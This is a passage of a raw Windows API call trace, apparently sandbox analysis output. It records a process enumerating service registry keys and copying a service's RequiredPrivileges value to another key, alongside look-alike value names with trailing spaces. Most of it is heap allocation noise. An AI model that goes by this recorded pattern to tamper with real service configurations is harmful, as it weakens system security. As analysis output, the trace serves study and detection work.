lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0239.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1928, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0239.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d60, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0239.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0239.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0239.606] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0239.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0239.607] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0239.607] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0239.607] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.607] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0239.607] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.607] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0239.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.608] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0239.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0239.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.610] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x0, lpData=0x0, lpcbData=0x36f45c*=0x0) returned 0x2 [0239.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0239.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0239.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0239.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0239.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0239.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.610] RegQueryValueExA (in: hKey=0x14c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0239.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.611] RegQueryValueExA (in: hKey=0x14c, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0239.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0239.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0239.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.611] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0239.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0239.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.612] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0239.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0239.612] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0239.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0239.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0239.659] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0239.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0239.659] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0239.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0239.659] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0239.659] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0239.659] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0239.660] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0239.660] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0239.660] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0239.660] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0239.660] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0239.660] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0239.660] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0239.660] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0239.660] 